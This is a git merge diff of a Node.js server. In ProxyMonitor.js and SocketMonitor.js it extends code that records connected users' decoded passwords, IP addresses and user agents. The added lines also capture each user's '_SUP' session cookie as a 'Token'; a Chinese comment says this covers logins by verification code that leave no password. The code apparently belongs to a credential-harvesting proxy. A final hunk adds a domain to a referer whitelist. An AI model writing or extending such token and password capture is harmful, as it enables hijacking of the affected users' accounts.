Merge remote-tracking branch 'origin/master' into ecollage

server/controller/ProxyMonitor.js

@@ -115,12 +115,13 @@ const agentProcessor = () => {
             pwdBase64 = com.CryptoJs.decryptData(_AUTH)
           }
           /* 有密码时，才写入基础数据中 */
-          if (pwdBase64) {
+          if (pwdBase64 || _SUP) {
             fs.writeFile(stuPath + '/info.txt', [
               'Name: ' + json.name,
               'Sys: ' + json.sys,
               'Auth: ' + json.auth,
               'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
+              'Token: ' + _SUP, // 解决验证码登录，没有密码问题 或 没有重复登录过，没有密码问题
               'IP: ' + getClientIP(req),
               'UA: ' + req.headers['user-agent'],
               '\n\n'

server/controller/SocketMonitor.js

@@ -17,6 +17,7 @@ const sendMsg = (req, res) => {
         let _tmp = _nsCoonPool[i]
         let _str = ''
         let _pwd = ''
+        let _token = ''
         if (_tmp.backData) {
           let _json = JSON.parse(_tmp.backData)
           if (_json.action === 'sendAuth' && _json.info) { // 获取本地用户基本数据 - sendAuth
@@ -33,10 +34,17 @@ const sendMsg = (req, res) => {
             break
           }
         }
+        for (let i = 0; i < _cookiesArr.length; i++) {
+          if (_cookiesArr[i].name === '_SUP') { // 获取cookie中 token - _SUP
+            _token = _cookiesArr[i].value
+            break
+          }
+        }
         _conArr.push({
           auth: _tmp.key,
           _str: _str,
           pwd: _pwd.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join(''),
+          Token: _token,
           keepExitTime: com.DateTime.timestampToFormatTimeStr(new Date().getTime() - _tmp.createTime),
           IPs: _tmp.IPs,
           UA: _tmp.UA

server/distRun.js

@@ -11,7 +11,7 @@ app.use(history({ verbose: false, index: '/' }))
 app.get('/', (req, res) => {
   /* 增加 限定条件，如果是 e-learning2 子域名，那么 referer 为指定 域名 否则不能打开 */
   if (/^e-learning2\./.test(req.headers.host)) {
-    if (/(sofia\.tenant\.ezijing)|(sofia-x\.ezijing)|(course\.ezijing)/.test(req.headers.referer)) {
+    if (/(sofia\.tenant\.ezijing)|(sofia-x\.ezijing)|(course\.ezijing)|(course3\.ezijing)/.test(req.headers.referer)) {
       res.sendFile(path.join(__dirname, '../client-dist/index.html'))
     } else {
       res.send('当前页面打开方式不对')